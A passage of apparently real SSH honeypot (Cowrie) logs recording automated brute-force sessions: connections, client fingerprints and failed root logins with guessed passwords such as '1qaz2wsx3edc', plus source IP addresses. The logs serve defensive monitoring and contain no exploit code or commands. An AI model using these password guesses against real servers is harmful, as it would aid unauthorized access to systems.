openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:07.278582Z","src_ip":"51.250.105.222","session":"46ed4fb79908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1987","message":"login attempt [root/1987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:07.675133Z","src_ip":"51.250.105.222","session":"46ed4fb79908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:08.819649Z","src_ip":"51.250.105.222","session":"46ed4fb79908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35162,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef54185bbcea","protocol":"ssh","message":"New connection: 87.251.79.125:35162 (10.17.0.5:22) [session: ef54185bbcea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:19.241695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:19.246134Z","src_ip":"87.251.79.125","session":"ef54185bbcea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:19.317190Z","src_ip":"87.251.79.125","session":"ef54185bbcea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123450","message":"login attempt [root/123450] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:19.530725Z","src_ip":"87.251.79.125","session":"ef54185bbcea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:12:20.604838Z","src_ip":"87.251.79.125","session":"ef54185bbcea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":53286,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae18c7ef33d","protocol":"ssh","message":"New connection: 170.106.188.200:53286 (159.203.135.109:22) [session: 1ae18c7ef33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:05.843386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:05.848355Z","src_ip":"170.106.188.200","session":"1ae18c7ef33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:05.917333Z","src_ip":"170.106.188.200","session":"1ae18c7ef33d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0n1g@2016","message":"login attempt [root/k0n1g@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:06.222360Z","src_ip":"170.106.188.200","session":"1ae18c7ef33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:07.293663Z","src_ip":"170.106.188.200","session":"1ae18c7ef33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":41838,"dst_ip":"159.203.135.109","dst_port":22,"session":"56c6e6e97055","protocol":"ssh","message":"New connection: 103.91.246.101:41838 (159.203.135.109:22) [session: 56c6e6e97055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:10.610521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:10.614809Z","src_ip":"103.91.246.101","session":"56c6e6e97055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:10.856464Z","src_ip":"103.91.246.101","session":"56c6e6e97055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"252523","message":"login attempt [root/252523] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:11.850800Z","src_ip":"103.91.246.101","session":"56c6e6e97055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:13.097565Z","src_ip":"103.91.246.101","session":"56c6e6e97055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15178,"dst_ip":"10.17.0.5","dst_port":22,"session":"67e4cd845d9a","protocol":"ssh","message":"New connection: 194.59.206.2:15178 (10.17.0.5:22) [session: 67e4cd845d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:24.797229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:24.802464Z","src_ip":"194.59.206.2","session":"67e4cd845d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:24.894689Z","src_ip":"194.59.206.2","session":"67e4cd845d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:24.989928Z","src_ip":"194.59.206.2","session":"67e4cd845d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36756,"dst_ip":"10.17.0.5","dst_port":22,"session":"45017c286dcf","protocol":"ssh","message":"New connection: 103.176.20.57:36756 (10.17.0.5:22) [session: 45017c286dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:53.863545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:53.869946Z","src_ip":"103.176.20.57","session":"45017c286dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:54.163548Z","src_ip":"103.176.20.57","session":"45017c286dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1990","message":"login attempt [root/1990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:54.908216Z","src_ip":"103.176.20.57","session":"45017c286dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:13:56.160268Z","src_ip":"103.176.20.57","session":"45017c286dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":44446,"dst_ip":"159.203.135.109","dst_port":22,"session":"df02d73fb157","protocol":"ssh","message":"New connection: 170.106.188.200:44446 (159.203.135.109:22) [session: df02d73fb157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:20.005129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:20.009808Z","src_ip":"170.106.188.200","session":"df02d73fb157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:20.076992Z","src_ip":"170.106.188.200","session":"df02d73fb157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ma123456.","message":"login attempt [root/Ma123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:20.381418Z","src_ip":"170.106.188.200","session":"df02d73fb157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:21.452680Z","src_ip":"170.106.188.200","session":"df02d73fb157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":58966,"dst_ip":"159.203.135.109","dst_port":22,"session":"174427e04895","protocol":"ssh","message":"New connection: 171.244.141.86:58966 (159.203.135.109:22) [session: 174427e04895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:34.947614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:34.952603Z","src_ip":"171.244.141.86","session":"174427e04895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:35.195853Z","src_ip":"171.244.141.86","session":"174427e04895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:36.203329Z","src_ip":"171.244.141.86","session":"174427e04895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:37.452051Z","src_ip":"171.244.141.86","session":"174427e04895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":51072,"dst_ip":"159.203.135.109","dst_port":22,"session":"168ef156d938","protocol":"ssh","message":"New connection: 103.91.246.101:51072 (159.203.135.109:22) [session: 168ef156d938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:41.397222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:41.401659Z","src_ip":"103.91.246.101","session":"168ef156d938","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:41.634293Z","src_ip":"103.91.246.101","session":"168ef156d938","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leather","message":"login attempt [root/leather] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:42.588986Z","src_ip":"103.91.246.101","session":"168ef156d938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:43.823911Z","src_ip":"103.91.246.101","session":"168ef156d938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":43316,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cfcdd1e201f","protocol":"ssh","message":"New connection: 103.173.227.57:43316 (10.17.0.5:22) [session: 6cfcdd1e201f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:14:44.586268Z"}
